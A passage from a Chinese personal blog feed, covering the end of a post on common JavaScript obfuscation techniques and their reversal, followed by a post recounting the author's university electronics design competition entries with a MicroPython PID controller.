punctuation">&#125;</span>test<span class="token punctuation">[</span><span class="token function">dec</span><span class="token punctuation">(</span>arr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token number">200</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></li></ol><h3 id="控制流平坦化">控制流平坦化</h3><p>将顺序执行的代码混淆成乱序执行,并加以混淆</p><p>以下两段代码的执行结果是相同的:</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 正常形态</span><span class="token keyword">function</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token parameter">a</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token keyword">var</span> b <span class="token operator">=</span> a<span class="token punctuation">;</span>    b <span class="token operator">+=</span> <span class="token number">1</span><span class="token punctuation">;</span>    b <span class="token operator">+=</span> <span class="token number">2</span><span class="token punctuation">;</span>    b <span class="token operator">+=</span> <span class="token number">3</span><span class="token punctuation">;</span>    b <span class="token operator">+=</span> <span class="token number">4</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> a <span class="token operator">+</span> b<span class="token punctuation">&#125;</span><span class="token comment">// 乱序形态</span><span class="token comment">//（这里比较简单,在很多加密网站上case 后面往往不是数字或字符串,而是类似 YFp[15][45][4]这样的对象，相当恶心）</span><span class="token keyword">function</span> <span class="token function">test1</span><span class="token punctuation">(</span><span class="token parameter">a</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">var</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">3</span><span class="token punctuation">,</span><span class="token number">4</span><span class="token punctuation">,</span><span class="token number">5</span><span class="token punctuation">,</span><span class="token number">6</span><span class="token punctuation">]</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">,</span> i <span class="token operator">&lt;</span> arr<span class="token punctuation">.</span>lenght<span class="token punctuation">,</span> i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">switch</span> <span class="token punctuation">(</span>arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">case</span> <span class="token number">4</span><span class="token operator">:</span>        b <span class="token operator">+=</span> <span class="token number">3</span><span class="token punctuation">;</span>        <span class="token keyword">break</span><span class="token punctuation">;</span>      <span class="token keyword">case</span> <span class="token number">2</span><span class="token operator">:</span>        b <span class="token operator">+=</span> <span class="token number">1</span><span class="token punctuation">;</span>      <span class="token keyword">break</span><span class="token punctuation">;</span>      <span class="token keyword">case</span> <span class="token number">1</span><span class="token operator">:</span>        <span class="token keyword">var</span> b <span class="token operator">=</span> a<span class="token punctuation">;</span>      <span class="token keyword">break</span><span class="token punctuation">;</span>      <span class="token keyword">case</span> <span class="token number">3</span><span class="token operator">:</span>        b <span class="token operator">+=</span> <span class="token number">2</span><span class="token punctuation">;</span>      <span class="token keyword">break</span><span class="token punctuation">;</span>      <span class="token keyword">case</span> <span class="token number">6</span><span class="token operator">:</span>        <span class="token keyword">return</span> a <span class="token operator">+</span> b      <span class="token keyword">case</span> <span class="token number">5</span><span class="token operator">:</span>        b <span class="token operator">+=</span> <span class="token number">4</span><span class="token punctuation">;</span>      <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token comment">// 结果都是30 但是test1看着费劲</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">test1</span><span class="token punctuation">(</span><span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><p>解决办法:  使用JavaScript的抽象语法书(AST) 进行还原</p><h3 id="压缩代码">压缩代码</h3><p>把多行代码压缩成一行</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token parameter">a</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">var</span> b <span class="token operator">=</span> a<span class="token punctuation">;</span>  <span class="token keyword">var</span> c <span class="token operator">=</span> b <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span>  <span class="token keyword">var</span> d <span class="token operator">=</span> b <span class="token operator">+</span> <span class="token number">2</span><span class="token punctuation">;</span>  <span class="token keyword">var</span> e <span class="token operator">=</span> b <span class="token operator">+</span> <span class="token number">3</span><span class="token punctuation">;</span>  <span class="token keyword">var</span> f <span class="token operator">=</span> b <span class="token operator">+</span> <span class="token number">4</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> e <span class="token operator">+</span> f<span class="token punctuation">&#125;</span><span class="token comment">// 压缩一下</span><span class="token keyword">function</span> <span class="token function">test1</span><span class="token punctuation">(</span><span class="token parameter">a</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">var</span> b<span class="token punctuation">,</span>c<span class="token punctuation">,</span>d<span class="token punctuation">,</span>e<span class="token punctuation">,</span>f  <span class="token keyword">return</span> f <span class="token operator">=</span> <span class="token punctuation">(</span>e <span class="token operator">=</span> <span class="token punctuation">(</span>d <span class="token operator">=</span> <span class="token punctuation">(</span> c <span class="token operator">=</span> <span class="token punctuation">(</span>b <span class="token operator">=</span> a<span class="token punctuation">,</span>b <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span>b <span class="token operator">+</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">,</span>b <span class="token operator">+</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">,</span>b <span class="token operator">+</span> <span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">,</span>e <span class="token operator">+</span> f<span class="token punctuation">&#125;</span></code></pre><p>解决办法:  使用JavaScript的抽象语法书(AST) 进行还原</p><h3 id="使用特定符号编写-js-脚本">使用特定符号编写 js 脚本</h3><p>特征：</p><p><img src="https://img.alexation.cn/blog/post/javascript/confuse/5.png" alt="image-20191225190724159"></p><p>原理：<br>jsfuck 源于一门编程语言 brainfuck ，其主要的思想就是只使用8种特定的符号来编写代码。而 jsfuck<br>也是沿用了这个思想，它仅仅使用6种符号来编写代码。它们分别是(、)、+、[、]、!。<br>常用混淆工具：<a href="http://www.jsfuck.com/">http://www.jsfuck.com/</a></p><h2 id="特殊转化规则">特殊转化规则</h2><p>利用一些只能在浏览器中运行的特殊语句进行反扒，这种只能讲语法重新进行改写</p><p>在浏览器中 base64 编码转换使用的是</p><p><code>_0x1c0cdf = _0xcbc80b['atob'](_0x1c0cdf)</code>,</p><p>但是在nodejs调试的时候使用的是</p><pre class="language-none"><code class="language-none">Buffer.from(_0x1c0cdf,&quot;base64&quot;).toString()</code></pre>]]></content>
    
    
    <summary type="html">简单介绍常见混淆与反混淆方法</summary>
    
    
    
    <category term="JavaScript" scheme="https://blog.alexation.cn/categories/JavaScript/"/>
    
    
    <category term="JavaScript" scheme="https://blog.alexation.cn/tags/JavaScript/"/>
    
    <category term="混淆" scheme="https://blog.alexation.cn/tags/%E6%B7%B7%E6%B7%86/"/>
    
  </entry>
  
  <entry>
    <title>大学生电子设计竞赛</title>
    <link href="https://blog.alexation.cn/competition/NUEDC/"/>
    <id>https://blog.alexation.cn/competition/NUEDC/</id>
    <published>2023-10-31T13:05:30.000Z</published>
    <updated>2025-11-23T07:18:04.840Z</updated>
    
    <content type="html"><![CDATA[<h1 style="text-align:center;font-family:FZZhiYi-M12S;font-weight:700;">电子设计大赛参赛记录</h1><div class="tip info"><p>你好，这是一份参赛记录，请查收~</p></div><p>它确实只是参赛记录，因为只是被拉去凑人数的我并没有什么拿得出手的奖😭😭😭。不过回忆起为了获奖所接触到的知识、四天三夜队友的陪伴以及遇到的有趣的事情，我想我还是有所收获的。<s>（不是指这份参赛记录啊喂）</s></p><p>如果你还不了解全国电子设计竞赛，下方是官方链接👇</p><div calss='anzhiyu-tag-link'><a class="tag-Link" target="_blank" href="http://nuedc.xjtu.edu.cn/">    <div class="tag-link-tips">引用站外地址</div>    <div class="tag-link-bottom">        <div class="tag-link-left" style="">          <i class="anzhiyufont anzhiyu-icon-link" style=""></i>        </div>        <div class="tag-link-right">            <div class="tag-link-title">全国大学生电子设计竞赛</div>            <div class="tag-link-sitename">xjtu.edu.cn</div>        </div>        <i class="anzhiyufont anzhiyu-icon-angle-right"></i>    </div>    </a></div><h2 id="关于竞赛">关于竞赛</h2><p>全国大学生电子设计竞赛由教育部高等教育司及<strong>工业和信息化部</strong>人事教育司共同主办，教育部高等教育司及工业和信息化部人事教育司共同负责领导全国范围内的竞赛工作。各地竞赛事宜由地方教委（厅、局）统一领导。为保证竞赛顺利开展，组建全国及各赛区竞赛组织委员会和专家组。</p><p>全国大学生电子设计竞赛每逢<strong>单数年的8月份</strong>举办，赛期<strong>四天</strong>（具体日期届时通知）。在双数的非竞赛年份，根据实际需要由全国竞赛组委会和有关赛区组织开展全国的专题性竞赛，同时积极鼓励各赛区和学校根据自身条件适时组织开展赛区和学校一级的大学生电子设计竞赛。</p><p>竞赛采用全国统一命题、分赛区组织的方式，竞赛采用“<strong>半封闭、相对集中</strong>”的组织方式进行。竞赛期间学生可以查阅有关纸介或网络技术资料，队内学生可以集体商讨设计思想，确定设计方案，分工负责、团结协作，以队为基本单位独立完成竞赛任务；竞赛期间不允许任何教师或其他人员进行任何形式的指导或引导；竞赛期间参赛队员不得与队外任何人员讨论商量。参赛学校应将参赛学生相对集中在实验室内进行竞赛，便于组织人员巡查。为保证竞赛工作，竞赛所需设备、元器件等均由各参赛学校负责提供。</p><p>从介绍也可以看出，这个竞赛的含金量是非常高的，涉及计算机、微机原理、单片机、电子信息、机械制造、通信原理、汇编等非常多的知识点，所以如果有意愿参加此类竞赛一定是需要老师与研究组进行教学讨论与造轮子等赛前准备的。学习效率比较高的情况下，一年下来就可以拿奖。😴</p><h2 id="小编学习内容">小编学习内容</h2><div class="note purple anzhiyufont anzhiyu-icon-fan flat"><p>小编选择的是控制方向题目，写逻辑yyds！我来介绍一下都学了什么叭~</p></div><h4 id="编程语言方面">编程语言方面</h4><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>C语言</p>            </div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>Python</p>            </div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>MicroPython</p>            </div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>Vue（好像什么奇怪的东西混进来了）</p>            </div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>汇编（一丢丢）</p>            </div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>FPGA（一丢丢丢丢）</p>            </div><div class='checkbox'><input type="checkbox" />            <p>C++（做GUI很香！一个学长用它做硬件GUI赚了大几万）</p>            </div><h4 id="单片机方面">单片机方面</h4><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>STM32c8t6（实现一些小功能，亲眼见证了从￥10涨到￥30😩）</p>            </div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>STM32zet6（可以参加比赛写算法，例程也是最多的！）</p>            </div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>Py-AI K210（人工智能！机器学习！）</p>            </div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>OpenMV（￥600+）</p>            </div><div class='checkbox'><input type="checkbox" />            <p>MSP430（真的太难用了😱）</p>            </div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>SU-03T （这个是语音识别，以防万一，UI编程无敌！）</p>            </div><h4 id="仪器方面">仪器方面</h4><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>示波器（一定要会用好！）</p>            </div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>电源（参加电源类比赛的话一定要用好！）</p>            </div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>焊烙铁（Emm小心手。。）</p>            </div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>导线（包括跳线、型号线径功率等不要大意）</p>            </div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>热缩管、轧带等附件（干净整洁可以减少不必要的麻烦哦~😘）</p>            </div><h4 id="配件方面">配件方面</h4><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>单片机</p>            </div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>电源（别心疼、对它好点儿）</p>            </div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>电机驱动（没它的话、就要看单片机的运气了😄）</p>            </div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>电机 （选择符合要求的型号种类即可）</p>            </div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>降压稳压模块（数控有风险！使用需谨慎！）</p>            </div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>传感器（请务必阅读使用文档）</p>            </div><div class='checkbox'><input type="checkbox" />            <p>洞洞板、锡丝等消耗品（建议白嫖🙈）</p>            </div><h4 id="算法方面">算法方面</h4><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>主逻辑</p>            </div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>PID（参数整定是个头疼的事情）</p>            </div><div class='checkbox'><input type="checkbox" />            <p>DMA（对我来说有些难😣）</p>            </div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>LCD（显示屏、字模转换等）</p>            </div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>按键防抖（硬件软件）</p>            </div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>ADC采集（比较重要）</p>            </div><div class='checkbox checked'><input type="checkbox" checked="checked"/>            <p>串口通信（非常重要）</p>            </div><div class='checkbox'><input type="checkbox" />            <p>传感器常见算法（移步baidu.com🙄、不过很多都已经封装好了）</p>            </div><h2 id="学习网址推荐">学习网址推荐</h2><p>虽然是网址推荐，但由于历史原因，并没有当年那么全（好吧全丢了其实）</p><div class="flink"><div class="flink-name">推荐博客</div> <div class="flink-list"><div class="flexcard-flink-list">              <a href="https://zhewana.cn/" title="ZheWana" target="_blank" class="flink-list-card cf-friends-link">                <div class="wrapper cover">                    <img class="no-lightbox cover fadeIn" src="https://img.alexation.cn/blog/post/competition/NUEDC/website/zhewana.jpg" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="ZheWana" />                </div>                <div class="info">                  <img class="no-lightbox cf-friends-avatar flink-avatar" src="https://zhewana.cn/wp-content/uploads/2022/12/ZheWanaLogo.png" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="ZheWana"/>                  <span class="flink-sitename cf-friends-name">ZheWana</span>                </div>              </a></div></div><div class="flink-name">网站</div><div class="flink-desc">推荐的网站</div> <div class="flink-list"><div class="anzhiyu-flink-list">            <div class="flink-list-item">              <a href="https://www.easemob.com/product/mqtt" title="MQTT" class="cf-friends-link" target="_blank">                <div class="flink-item-icon">                  <img class="no-lightbox cf-friends-avatar" src="https://img.alexation.cn/blog/post/competition/NUEDC/website/1.png" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="MQTT" />                </div>                <div class="flink-item-info">                  <div class="flink-item-name">MQTT</div>                  <div class="flink-item-desc" title="轻量级消息传输协议">轻量级消息传输协议</div>                </div>              </a>            </div>            <div class="flink-list-item">              <a href="https://maixhub.com/welcome" title="MaixHub" class="cf-friends-link" target="_blank">                <div class="flink-item-icon">                  <img class="no-lightbox cf-friends-avatar" src="https://img.alexation.cn/blog/post/competition/NUEDC/website/2.png" onerror='this.onerror=null;this.src="/img/friend_404.gif"' alt="MaixHub" />                </div>                <div class="flink-item-info">                  <div class="flink-item-name">MaixHub</div>                  <div class="flink-item-desc" title="sipeed AI 模型平台">sipeed AI 模型平台</div>                </div>              </a>            </div></div></div></div><h2 id="历次比赛记录">历次比赛记录</h2><p>接下来是正文！从大一到大四一共参加了三次，大一入学时旁观了一届，算来算去也算守门人了👉👈。记录下来的是比较正式的比赛，从国赛到省赛再到校赛（为什么越参加级别越低）。校赛和院赛复现运气很好，均是最高分；省赛那一次是非常可惜的一次，全部题目的逻辑已经写完并排除了我认知范围内的所有bug，最后复现时因为PID的参数整定问题以极低的分数结束；国赛那一次是我第一次正式参加电赛，国赛并不限制芯片，我使用了封装程度较高的芯片，逻辑也写的大致正确，再有复现时的运气加成😝，拿到了一个在当时还算不错的成绩（湖北赛区二等奖）。</p><p>在电赛这方面我投入的不算少，但是由于当时的学校领导并不算非常重视这个比赛，也并没有很正式地组织过指导教师培训等活动，甚至到大二下时协会的负责老师进行了更换（协会主要对接电赛），可以看出学校想要重新抓起这一项赛事。如果哪位小朋友想要认认真真参赛的话，一定要努力准备！相信你的学校一定会给你提供必要的支持，包括资金、教学以及报名的相关事项，只要你有一颗坚强的内心。</p><p>那么，下面是正式记录🤫</p><h3 style="text-align:center;font-family:FZZhiYi-M12S;font-weight:700;color:#000">2021大学生电子设计竞赛(国赛)</h3><div class="note purple anzhiyufont anzhiyu-icon-fan flat"><p>摘要：智能送药小车，模拟完成在医院药房与病房间药品的送取作业。</p></div><div calss='anzhiyu-tag-link'><a class="tag-Link" target="_blank" href="https://alexation.lanzoui.com/iuUzbwkxx7a">    <div class="tag-link-tips">引用站外地址</div>    <div class="tag-link-bottom">        <div class="tag-link-left" style="">          <i class="anzhiyufont anzhiyu-icon-link" style=""></i>        </div>        <div class="tag-link-right">            <div class="tag-link-title">点击此处获取F题PDF题目以及数字字模</div>            <div class="tag-link-sitename">lanzoui.com</div>        </div>        <i class="anzhiyufont anzhiyu-icon-angle-right"></i>    </div>    </a></div><p>开赛前看了看各大论坛上的控制题目的预测，包括亚克力球里面放小车，用小车和无人机通信…为此特地去学了学串口、蓝牙通信，最后看到题目震惊：原来摄像头可带处理器模块原来是这个意思！<span class="emoji" alias="upside_down_face" style="" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f643.png?v8">🙃</span> 因为组内没有人会用OpenMV，确定下这个题目还是不容易的。毕竟第二年想去智能车比赛，想不到电赛让我速成摄像头 <span class="emoji" alias="laughing" style="" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f606.png?v8">😆</span></p><p>首先我仅代表我的组员和我感谢比赛过程中帮助过我们的同学、指导老师、以及<a href="https://singtown.com/openmv/">星瞳科技</a>，我们最后的成果包括相关设备的购买均基于星瞳科技。</p><h4 id="关于题目">关于题目</h4><p>“制作智能送药小车，模拟完成在医院药房与病房间药品的送取作业。”嗯…这很现实<span class="emoji" alias="mask" style="" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f637.png?v8">😷</span>。第一段就是说循迹红线、中远端病房号不固定。第二段增加一个识别药品和亮灯。说实话，这个数字识别确实劝退 <span class="emoji" alias="cry" style="" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f622.png?v8">😢</span></p><h4 id="数字识别">数字识别</h4><ol><li>Netlet：刚开赛时候一些论坛和群就有人说nn库不能用了，我们当时还没有意识到事情的严重性。等到写算法时候发现，就算把nn库手动装到IDE和SD卡里，还是会有未知bug出现。</li><li>Edge Impulse神经网络训练：拍照片到网站在线训练出tflite文件，然后进行在线识别。记得当初拍了20000多张照片，最后去重后有6000多张，训练了半个小时，然而，识别正确率并不高…💢💢💢</li><li>特征点匹配：虽然和题目要求及其相似，但是我们还是优先考虑了模板匹配，感兴趣的同学可以试一试。</li><li>模板匹配：拍模板，识别出来会有反馈，经测试效果还可以，不过对图像位置大小要求高一点，直接通过十字路口可能识别不到，so，经我们一致决定：让它到十字路口**”抽搐“**几下，识别率马上就高了起来。</li></ol><h4 id="细节实现">细节实现</h4><ul><li>提取红色路线：识别红线可以通过摄像头设置阈值来提取红线，刚开始我们设置的是红线黑线全部展示，后来发现如果保留黑线的话如果偏离角度差一点儿，拟合效果就会大打折扣，这并不能通过调节PID参数或者拟合后直线斜率占比实现。(不要问我怎么知道的)</li><li>PID调节：这部分<a href="https://book.openmv.cc/project/follow-lines.html">星瞳科技快速上手部分</a>有提供源码，这里不进行过多解释，我们测试时用的就是那个例程，参数都没改。</li><li>控制启动停止：熟悉的红外对管</li><li>LED：我们就打算用OpenMV上的RGB灯（虽然被测试专业员吐槽了，但好像没啥影响 <span class="emoji" alias="smirk" style="" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f60f.png?v8">😏</span></li><li>检测药品：因为当时没有压力传感器（开赛就买了，测试才到），我们就用光敏传感器代替了，这个用压感效果应该会不错，不过光感调好灵敏度也没有什么影响，当然，超声波模块也可。</li><li>返回：本来打算继续识别数字，但仍要拍照，而且增大运算量，于是，我们可以使用列表存储路径，返回的时候逆向遍历即可。</li></ul><h4 id="反思总结">反思总结</h4><ol><li>3天速成Openmv，又接触了micropython <span class="emoji" alias="open_mouth" style="" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f62e.png?v8">😮</span>，最后效果还是可以滴！</li><li>硬件搭得晚了点儿，导致调试，确定识别方法有些晚</li><li>传感器方面准备不足，需要在这方面下一些功夫咯</li><li>编程底层有些混乱，虽然程序可以跑，但连我自己都在吐槽</li></ol><p><font style="font-weight:700;">唯一遗憾的就是没有在宿舍看EDG捧起奖杯</font><span class="emoji" alias="sob" style="" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f62d.png?v8">😭</span><span class="emoji" alias="sob" style="" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f62d.png?v8">😭</span><span class="emoji" alias="sob" style="" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f62d.png?v8">😭</span></p><h3 style="text-align:center;font-family:FZZhiYi-M12S;font-weight:700;">2022大学生电子设计竞赛(省赛)</h3><div class="note purple anzhiyufont anzhiyu-icon-fan flat"><p>摘要：车辆跟随行驶系统。</p></div><p>说实话这次算准备的不算很认真，赛前也没有针对相关模块及时进行补充学习。不过、从赛前的材料准备清单来看，基本和去年的题目很类似了。吸取去年的教训，这次准备了一些封装十分完善的MCU（有手就会那种🤫。不过因为这次是省赛，故主办方对芯片进行了限制——采用TI的MCU。（啊啊啊啊真的头疼<span class="emoji" alias="persevere" style="" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f623.png?v8">😣</span></p><p>首先我仅代表我的组员和我感谢比赛过程中帮助过我们的同学、指导老师、以及论坛上的网友们</p><h4 id="关于题目-2">关于题目</h4><p>小车跟随行驶系统，设计一套小车跟随行驶系统，采用TI的MCU，由一辆领头小车和一辆跟随小车组成，要求小车具有循迹功能，且速度在0.3 ~ 1m/s可调，能在指定路径上完成行驶操作，行驶场地的路径如图1 所示。其中，路径上的A点为领头小车每次行驶的起始点和终点。当小车完成一次行驶到达终点，领头小车和跟随小车要发出声音提示。领头小车和跟随小车既可以沿着ABFDE圆角矩形（ 简称为<strong>内圈</strong> ）路径行驶，也可以沿着ABCDE的圆角矩形（ 简称为<strong>外圈</strong> ）路径行驶。</p><p><img src="https://img.alexation.cn/blog/post/competition/NUEDC/1.png" alt="图1"></p><p>其实今年的题目就是去年和前年控制题目的结合版，识别路口-&gt;判断转向-&gt;蓝牙通信-&gt;循迹-&gt;附加功能。这种类型的题目方案很多，因为是黑线，可以红外传感，也可以摄像头，小车跟随可以光电传感，也可以超声波测距，甚至直接写在蓝牙里面也可以。TI MCU我们不是很熟，故尽量将算法写在摄像头了。</p><h4 id="循迹算法">循迹算法</h4><p>**基本的巡线：**采用星瞳科技的官方例程</p><p><strong>常见的PID封装：</strong></p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> pyb <span class="token keyword">import</span> millis<span class="token keyword">from</span> math <span class="token keyword">import</span> pi<span class="token punctuation">,</span> isnan<span class="token keyword">class</span> <span class="token class-name">PID</span><span class="token punctuation">:</span>    _kp <span class="token operator">=</span> _ki <span class="token operator">=</span> _kd <span class="token operator">=</span> _integrator <span class="token operator">=</span> _imax <span class="token operator">=</span> <span class="token number">0</span>    _last_error <span class="token operator">=</span> _last_derivative <span class="token operator">=</span> _last_t <span class="token operator">=</span> <span class="token number">0</span>    _RC <span class="token operator">=</span> <span class="token number">1</span><span class="token operator">/</span><span class="token punctuation">(</span><span class="token number">2</span> <span class="token operator">*</span> pi <span class="token operator">*</span> <span class="token number">20</span><span class="token punctuation">)</span>    <span class="token keyword">def</span> <span class="token function">__init__</span><span class="token punctuation">(</span>self<span class="token punctuation">,</span> p<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">,</span> i<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">,</span> d<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">,</span> imax<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        self<span class="token punctuation">.</span>_kp <span class="token operator">=</span> <span class="token builtin">float</span><span class="token punctuation">(</span>p<span class="token punctuation">)</span>        self<span class="token punctuation">.</span>_ki <span class="token operator">=</span> <span class="token builtin">float</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span>        self<span class="token punctuation">.</span>_kd <span class="token operator">=</span> <span class="token builtin">float</span><span class="token punctuation">(</span>d<span class="token punctuation">)</span>        self<span class="token punctuation">.</span>_imax <span class="token operator">=</span> <span class="token builtin">abs</span><span class="token punctuation">(</span>imax<span class="token punctuation">)</span>        self<span class="token punctuation">.</span>_last_derivative <span class="token operator">=</span> <span class="token builtin">float</span><span class="token punctuation">(</span><span class="token string">'nan'</span><span class="token punctuation">)</span>    <span class="token keyword">def</span> <span class="token function">get_pid</span><span class="token punctuation">(</span>self<span class="token punctuation">,</span> error<span class="token punctuation">,</span> scaler<span class="token punctuation">)</span><span class="token punctuation">:</span>        tnow <span class="token operator">=</span> millis<span class="token punctuation">(</span><span class="token punctuation">)</span>        dt <span class="token operator">=</span> tnow <span class="token operator">-</span> self<span class="token punctuation">.</span>_last_t        output <span class="token operator">=</span> <span class="token number">0</span>        <span class="token keyword">if</span> self<span class="token punctuation">.</span>_last_t <span class="token operator">==</span> <span class="token number">0</span> <span class="token keyword">or</span> dt <span class="token operator">></span> <span class="token number">1000</span><span class="token punctuation">:</span>            dt <span class="token operator">=</span> <span class="token number">0</span>            self<span class="token punctuation">.</span>reset_I<span class="token punctuation">(</span><span class="token punctuation">)</span>        self<span class="token punctuation">.</span>_last_t <span class="token operator">=</span> tnow        delta_time <span class="token operator">=</span> <span class="token builtin">float</span><span class="token punctuation">(</span>dt<span class="token punctuation">)</span> <span class="token operator">/</span> <span class="token builtin">float</span><span class="token punctuation">(</span><span class="token number">1000</span><span class="token punctuation">)</span>        output <span class="token operator">+=</span> error <span class="token operator">*</span> self<span class="token punctuation">.</span>_kp        <span class="token keyword">if</span> <span class="token builtin">abs</span><span class="token punctuation">(</span>self<span class="token punctuation">.</span>_kd<span class="token punctuation">)</span> <span class="token operator">></span> <span class="token number">0</span> <span class="token keyword">and</span> dt <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">:</span>            <span class="token keyword">if</span> isnan<span class="token punctuation">(</span>self<span class="token punctuation">.</span>_last_derivative<span class="token punctuation">)</span><span class="token punctuation">:</span>                derivative <span class="token operator">=</span> <span class="token number">0</span>                self<span class="token punctuation">.</span>_last_derivative <span class="token operator">=</span> <span class="token number">0</span>            <span class="token keyword">else</span><span class="token punctuation">:</span>                derivative <span class="token operator">=</span> <span class="token punctuation">(</span>error <span class="token operator">-</span> self<span class="token punctuation">.</span>_last_error<span class="token punctuation">)</span> <span class="token operator">/</span> delta_time            derivative <span class="token operator">=</span> self<span class="token punctuation">.</span>_last_derivative <span class="token operator">+</span> \                                     <span class="token punctuation">(</span><span class="token punctuation">(</span>delta_time <span class="token operator">/</span> <span class="token punctuation">(</span>self<span class="token punctuation">.</span>_RC <span class="token operator">+</span> delta_time<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">*</span> \                                        <span class="token punctuation">(</span>derivative <span class="token operator">-</span> self<span class="token punctuation">.</span>_last_derivative<span class="token punctuation">)</span><span class="token punctuation">)</span>            self<span class="token punctuation">.</span>_last_error <span class="token operator">=</span> error            self<span class="token punctuation">.</span>_last_derivative <span class="token operator">=</span> derivative            output <span class="token operator">+=</span> self<span class="token punctuation">.</span>_kd <span class="token operator">*</span> derivative        output <span class="token operator">*=</span> scaler        <span class="token keyword">if</span> <span class="token builtin">abs</span><span class="token punctuation">(</span>self<span class="token punctuation">.</span>_ki<span class="token punctuation">)</span> <span class="token operator">></span> <span class="token number">0</span> <span class="token keyword">and</span> dt <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">:</span>            self<span class="token punctuation">.</span>_integrator <span class="token operator">+=</span> <span class="token punctuation">(</span>error <span class="token operator">*</span> self<span class="token punctuation">.</span>_ki<span class="token punctuation">)</span> <span class="token operator">*</span> scaler <span class="token operator">*</span> delta_time            <span class="token keyword">if</span> self<span class="token punctuation">.</span>_integrator <span class="token operator">&lt;</span> <span class="token operator">-</span>self<span class="token punctuation">.</span>_imax<span class="token punctuation">:</span> self<span class="token punctuation">.</span>_integrator <span class="token operator">=</span> <span class="token operator">-</span>self<span class="token punctuation">.</span>_imax            <span class="token keyword">elif</span> self<span class="token punctuation">.</span>_integrator <span class="token operator">></span> self<span class="token punctuation">.</span>_imax<span class="token punctuation">:</span> self<span class="token punctuation">.</span>_integrator <span class="token operator">=</span> self<span class="token 